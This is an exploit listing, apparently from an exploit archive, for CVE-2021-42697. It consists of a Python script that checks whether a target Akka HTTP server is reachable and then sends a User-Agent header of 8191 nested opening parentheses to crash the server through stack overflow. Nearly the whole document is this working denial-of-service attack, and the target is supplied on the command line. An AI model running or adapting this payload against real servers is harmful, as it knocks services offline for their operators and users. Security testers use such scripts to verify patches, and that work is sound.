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## https://sploitus.com/exploit?id=PACKETSTORM:167018
# Exploit Title: Akka HTTP Denial of Service via Nested Header Comments  
# Date: 18/4/2022  
# Exploit Author: cxosmo  
# Vendor Homepage: https://akka.io  
# Software Link: https://github.com/akka/akka-http  
# Version: Akka HTTP 10.1.x < 10.1.15 & 10.2.x < 10.2.7  
# Tested on: Akka HTTP 10.2.4, Ubuntu  
# CVE : CVE-2021-42697  
  
import argparse  
import logging  
import requests  
  
# Logging config  
logging.basicConfig(level=logging.INFO, format="")  
log = logging.getLogger()  
  
def send_benign_request(url, verify=True):  
log.info(f"Sending benign request to {url} for checking reachability...")  
try:  
r = requests.get(url)  
log.info(f"Benign request returned following status code: {r.status_code}")  
return True  
except Exception as e:  
log.info(f"The following exception was encountered: {e}")  
return False  
  
def send_malicious_request(url, verify=True):  
log.info(f"Sending malicious request to {url}")  
# Akka has default HTTP header limit of 8192; 8191 sufficient to trigger stack overflow per 10.2.4 testing  
nested_comment_payload = "("*8191  
headers = {'User-Agent': nested_comment_payload}  
try:  
r = requests.get(url, headers=headers)  
log.info(f"Request returned following status code: {r.status_code}")  
# Expected exception to be returned if server is DoSed successfully  
except requests.exceptions.RequestException as e:  
if "Remote end closed connection without response" in str(e):  
log.info(f"The server is unresponsive per {e}: DoS likely successful")  
except Exception as e:  
log.info(f"The following exception was encountered: {e}")  
  
if __name__ == "__main__":  
# Parse command line  
parser = argparse.ArgumentParser(formatter_class=argparse.RawDescriptionHelpFormatter)  
required_arguments = parser.add_argument_group('required arguments')  
required_arguments.add_argument("-t", "--target",  
help="Target URL for vulnerable Akka server (e.g. https://localhost)",  
required="True", action="store")  
parser.add_argument("-k", "--insecure",  
help="Disable verification of SSL/TLS certificate",  
action="store_false", default=True)  
args = parser.parse_args()  
  
# Send requests: first is connectivity check, second is DoS attempt  
if send_benign_request(args.target, args.insecure):  
send_malicious_request(args.target, args.insecure)